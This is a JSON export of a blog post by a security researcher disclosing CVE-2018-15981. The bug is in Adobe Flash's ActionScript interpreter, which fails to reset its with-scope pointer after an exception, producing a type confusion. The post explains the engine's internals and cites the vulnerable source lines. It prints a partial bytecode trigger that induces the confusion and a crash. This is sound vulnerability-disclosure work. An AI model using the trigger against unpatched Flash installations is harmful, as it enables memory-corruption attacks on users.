{"id":421,"date":"2018-11-13T14:05:52","date_gmt":"2018-11-13T16:05:52","guid":{"rendered":"http:\/\/www.ragestorm.net\/blogs\/?p=421"},"modified":"2018-11-29T12:32:12","modified_gmt":"2018-11-29T14:32:12","slug":"flash-news","status":"publish","type":"post","link":"https:\/\/www.ragestorm.net\/blogs\/?p=421","title":{"rendered":"Flash News"},"content":{"rendered":"<p><strong>TLDR;<\/strong> There\u2019s a bug in Adobe Flash. [It got allocated with CVE-2018-15981]<br \/>\nThe interpreter code of the Action Script Virtual Machine (AVM)<br \/>\ndoes not reset a with-scope pointer when an exception is caught,<br \/>\nleading later to a type confusion bug, and eventually to a remote code execution.<\/p>\n<p><a href=\"http:\/\/www.ragestorm.net\/blogs\/wp-content\/uploads\/csgoscope.png\"><img loading=\"lazy\" class=\"size-medium wp-image-436 aligncenter\" src=\"http:\/\/www.ragestorm.net\/blogs\/wp-content\/uploads\/csgoscope-300x212.png\" alt=\"\" width=\"300\" height=\"212\" srcset=\"https:\/\/www.ragestorm.net\/blogs\/wp-content\/uploads\/csgoscope-300x212.png 300w, https:\/\/www.ragestorm.net\/blogs\/wp-content\/uploads\/csgoscope.png 332w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><strong>First<\/strong>, we will start with general information on how the Flash engine, AVM, works,<br \/>\nbecause I find it fascinating and important for understanding the matter at hand.<\/p>\n<p>Flash runs code by either JITting it or by interpreting it. The design of the engine is to verify the ActionScript3 (AS in short) code and the meta data only once upon loading a (SWF) file and then to run the code while trusting it (without re-validation). This improves significantly the performance of running Flash applications. This affects instructions, they are also designed to have operands as part of their (fixed) byte code. For example, the pushstring instruction will take an index number into the strings array that is defined in the SWF file and it can only point to a valid entry in that array (if it won\u2019t, the verifier component will reject this file from being run). Later, in the JITted code or interpreter, it will assume that the verifier already confirmed this instruction with its operand and just load the requested entry and push it to the stack, as opposed to reading the entry from a register, which can be dynamically set in runtime and thus require a runtime check.<br \/>\nThe AS code also supports a stack and registers, and since it is a dynamic language that lets one define members and properties (key\/value pairs) on the fly, the engine will have to search for them every time, and to coerce their types too to the expected types; of a function argument for example. This coercion is done all over the place and is the heart of making sure types are safe all over their use. The coercion will even go further and change a type to another expected type automatically to be valid for that function call.<\/p>\n<p>When the AVM runs code, the relevant part in the verifier is doing its important job by following and analyzing statically all instructions by simulating them and it verifies the types of all registers, variables on the stack and more, in order to see how they are about to be used, and if it sees they are used as invalid\/wrong types, it will fail loading the file in advance. Otherwise it will just let the operation continue normally with assuming the type is correct and expected. Imagine there&#8217;s a function prototype that receives an integer argument:<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">function foo(bar:int):void {}<\/code><br \/>\nbut you pass a string to it instead:<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">foo(\"imahacker\")<\/code><br \/>\nthen the verifier won&#8217;t like it and will fail this code from running. In other times, if you pass an object which has a default-value method, it might invoke it in run time to hopefully get an integer, but it will make sure in runtime that it really got an integer&#8230; so some of the checks also happen in runtime when it can&#8217;t know in static time (so yes, it\u2019s okay to pass object as an integer).<\/p>\n<p>Another trait of AS is what make properties dynamic, or technically how they are searched for every time. Starting with local scope and going to higher scopes in the hierarchy up to the globals\u2019 scope. This is all documented. It hurts to know that much searching is done in order to find the right property in the scope chain every time code accessed it.<br \/>\nPerhaps Flash gives full OOP abilities on top of a dynamic language but when we take a look at the open source code of the AVM, it\u2019s really horrifying, code dups all over instead of encapsulation, or the same part of the SWF will be parsed in multiple places and each time different functionality will be applied to it and other horrors&#8230;that we, security researchers, love.<\/p>\n<p>Anyway, Flash will prefer to use the JIT as much as possible to run actual code, because it\u2019s faster. It will emit real code of the target hosting architecture while doing the same pass for verifying the code. And it can even JIT a function while it\u2019s already running inside the interpreter and continue from that state, impressive. However, remember that the interpreter is always used to run constructors of a user class defined in the SWF. And this is how we make sure our code will get to run inside the vulnerable interpreter. The engine can also handle exceptions on its own (try-catch and throw), employing setbuf and jmpbuf, so if an exception is raised inside an AS function, the interpreter implementation or the JIT infrastructure itself will catch it and pass it along the<br \/>\nnext handler in the chain until a correct AS catch-handler with the right type will be found and execution will resume inside the interpreter, in our case, from that spot of the catch handler.<br \/>\nBasically, if you try to make an infinite call-recursion to itself, you won\u2019t see a native (Windows\/Linux) exception thrown, but rather the interpreter checks the size of its own stack artificially in some spots and will emulate its own stack overflow\/underflow exceptions. If you will try to do an integer division by zero, then they already handle it themselves in the div instruction handler, etc. It\u2019s pretty much robust and a closed system.\u00a0There are many other interesting Flash internals topics, like atoms, the garbage collector, JIT, etc, but that won&#8217;t be covered today.<\/p>\n<p>Now that you have some idea of how the AVM works.<br \/>\n<strong>Let\u2019s talk business.<\/strong><br \/>\nIn AS you can use the keyword \u201cwith\u201d to be lazy and omit the name of the instance whose members you want to access.<br \/>\nThat&#8217;s normal in many scripting languages, but I will show it nevertheless.<br \/>\nFor example, instead of doing:<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">point.x = 0x90;<\/code><br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">point.y = 0xc3;<\/code><br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">point.z = 0xcd;<\/code><br \/>\nIt can be written as following using the \u201cwith\u201d keyword:<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">with (point)<\/code><br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">{<\/code><br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\u00a0x = 0x90;<\/code><br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\u00a0y = 0xc3;<\/code><br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\u00a0z = 0xcd;<\/code><br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">}<\/code><br \/>\nFor each assignment the interpreter will first use the with-scope if it&#8217;s set to avoid searching the full chain, once it got the property it will make the assignment itself. So, there&#8217;s an actual function that looks up the property in the scopes array of a given function. The origin of the bug occurs once an exception is thrown in the code, the catch handler infrastructure inside the interpreter will NOT reset its with-scope variable, so actually it will keep looking for properties in that with-scope in the next times. But (a big BUTT) the verifier, while simulating the exception catching,<br \/>\nwill reset its own state for the with-scope. And this, ladies and gentlemen, leads to a discrepancy between the verifier and the interpreter. Thus, opens a type confusion attack. Pow pow pow. In other words, we managed to make the interpreter do one thing, while the verifier thinks it does another (legit) thing.<\/p>\n<p><strong>This is how we do it:<\/strong><br \/>\nIn the beginning we load the with-scope with a legit object. We later raise a dummy exception and immediately catch it ourselves. Now, the interpreter will still use the with-object we loaded, although the verifier thinks we don\u2019t use a with-scope anymore, we will query for a member with a certain controlled type from the with-scope again and now use it as an argument for a function or an operand for an instruction that expects something else, and voila we got a type confusion. Remember, the verifier will think we use a different property that matches the expected type we want to forge and thus won&#8217;t fail loading our file.<\/p>\n<p>Let&#8217;s see the bug in the interpreter code first, and then an example on how to trigger it.<br \/>\nAt <a href=\"https:\/\/github.com\/adobe\/avmplus\/blob\/master\/core\/Interpreter.cpp#L796\">line 796<\/a>, you can see:<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">register Atom* volatile withBase = NULL;<\/code><\/p>\n<p>That&#8217;s the local variable of the interpreter function that we&#8217;re messing up with (pun intended)! Note that technically the withBase is used as a pointer-offset to the scopeBase array<br \/>\n(that\u2019s all the scopes that the function loaded on its scopes stack), but that doesn&#8217;t change the logic or nature of the bug, just how we tailor the bits and bytes to trigger the bug, if you are interested to understand this confusing description, you will have to read findproperty implementation. And at <a href=\"https:\/\/github.com\/adobe\/avmplus\/blob\/master\/core\/Interpreter.cpp#L2347\">line 2347<\/a> which is the handler of the findproperty instruction:<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">*(++sp) = env-&gt;findproperty(scope, scopeBase, scopeDepth, multiname, b1, withBase);<\/code><\/p>\n<p>See they pass the withBase to the findproperty, that&#8217;s the one to look up a property in the scope chain. This is where we will make it return a different property,<br \/>\nwhile the verifier will think it returned a valid typed property from our object. Now, we can use throw keyword to raise an exception, and the catch handler infrastructure at <a href=\"https:\/\/github.com\/adobe\/avmplus\/blob\/master\/core\/Interpreter.cpp#L3540\">line 3540<\/a>, will handle it.<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">CATCH (Exception *exception)<\/code><\/p>\n<p>You can see that it will reset many variables of its own state machine, and set the interpreter\u2019s PC (program counter, or next instruction\u2019s address) to start with the target handler&#8217;s address, etc.<br \/>\nBut they forgot to reset the withBase. I bet they didn&#8217;t forget, and they did it for performance sake, their code has tons of micro and obsessive optimizations, that today a good engineer wouldn&#8217;t just do. You can also note that they clear scopeBase array only in debugger mode (line 3573), and that used to be another bug, until they realized they better do it always.<br \/>\nThey used to have many bugs around the scope arrays in the interpreter, but they&#8217;re all fixed now in the binaries, since we look at an old source code you can still find them.<\/p>\n<p><strong>Finally<\/strong>, let&#8217;s see how we would maneuver this altogether.<br \/>\nI used the great <a href=\"https:\/\/github.com\/CyberShadow\/RABCDAsm\">rabcdasm tool<\/a> to assemble this.<br \/>\nThis code is partial and only the relevant guts of the triggering exploit.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">; All functions start with some default scope, we keep it too.\r\ngetlocal0\r\npushscope\r\n\r\n; We create a property with the name \"myvar\" that is really an object itself of type NewClass2.\r\n; This property which is inside the object\/dictionary will be the one the verifier sees.\r\ngetlocal0\r\nfindpropstrict QName(PackageNamespace(\"\"), \"NewClass2\")\r\nconstructprop QName(PackageNamespace(\"\"), \"NewClass2\"), 0\r\ninitproperty QName(PackageInternalNs(\"\"), \"myvar\")\r\n\r\n; We push a second item on the scope array,\r\n; to make the withBase point to its location in the scopes array.\r\n; Note this array contains both normal scope objects and with scope objects.\r\ngetlocal0\r\npushwith\r\n\r\n; Now we throw an exception, just to make the interpreter keeping a stale withBase.\r\nL10:\r\npushbyte 1\r\nthrow\r\nL12:\r\nnop\r\nL16:\r\n; This is our catch handler, we continue to do our thing.\r\n; Now note that the withBase points to the second item on the scopes array,\r\n; which currently won't be used until we put something there (because the scopes array is empty).\r\n\r\n; Put back the first scope on the scope stack, so we can work normally.\r\ngetlocal0\r\npushscope\r\n\r\n; Now we're going to create an object which has one property of an integer type and its name is \"myvar\".\r\n; This property will be returned instead of the correct one from the object we created above.\r\npushstring \"myvar\"\r\n; Next is the attacking type to be really used instead!!!1@ :)\r\n; This is the actual value that will be fetched by getproperty instruction below.\r\npushint 534568\r\n; Create an object with 1 property (name, value pair on the stack)\r\nnewobject 1\r\n; Mark it as an object type.\r\ncoerce QName(PackageNamespace(\"\"), \"Object\")\r\n\r\n; And now push it to the scope, note we don't use pushwith this time!\r\n; Because we want to keep old value, otherwise verifier will be on to us,\r\n; This makes our object that we just created as the new with-scope object.\r\npushscope\r\n\r\n; Now, findproperty et al will actually scan for our property using the withBase in practice,\r\n; which has our fake object that we recently created,\r\n; containing a property with the \"myvar\" name, with a different type from what the verifier sees\r\n; (Remember - it sees the object above, in the beginning of this function).\r\nfindproperty Multiname(\"myvar\", [PackageInternalNs(\"\"), PackageNamespace(\"\")])\r\ngetproperty Multiname(\"myvar\", [PackageInternalNs(\"\"), PackageNamespace(\"\")])\r\n\r\n; Now practically on the stack we have an integer,\r\n; instead of an object, and next executing getslot which assumes an object (NewClass2) is in the stack,\r\n; will crash miserably!\r\ngetslot 1\r\n\r\nreturnvoid<\/pre>\n<p>The triggering code can be done with many different variations. Instructions like nextvlaue can be targeted too, because it doesn\u2019t verify its operands in runtime and can leak pointers etc.<br \/>\nWhen I found this bug at first, I thought there\u2019s small chance it\u2019s a real bug. Particularly, I had my doubts, because the chances to have a forgotten\/dangling with-scope is high in a normal Flash application. So how come nobody encountered this bug before as a misbehavior of their app? E.G. by getting a wrong variable, etc. Apparently, the combination to cause this scenario accurately is not that high after all.<\/p>\n<p>Good bye Flash, you&#8217;ve been kind&#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>TLDR; There\u2019s a bug in Adobe Flash. [It got allocated with CVE-2018-15981] The interpreter code of the Action Script Virtual Machine (AVM) does not reset a with-scope pointer when an exception is caught, leading later to a type confusion bug, and eventually to a remote code execution. First, we will start with general information on [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"spay_email":"","jetpack_publicize_message":""},"categories":[5,13,17],"tags":[],"jetpack_featured_media_url":"","jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/pbWKd-6N","_links":{"self":[{"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=\/wp\/v2\/posts\/421"}],"collection":[{"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=421"}],"version-history":[{"count":14,"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=\/wp\/v2\/posts\/421\/revisions"}],"predecessor-version":[{"id":441,"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=\/wp\/v2\/posts\/421\/revisions\/441"}],"wp:attachment":[{"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=421"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=421"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ragestorm.net\/blogs\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=421"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}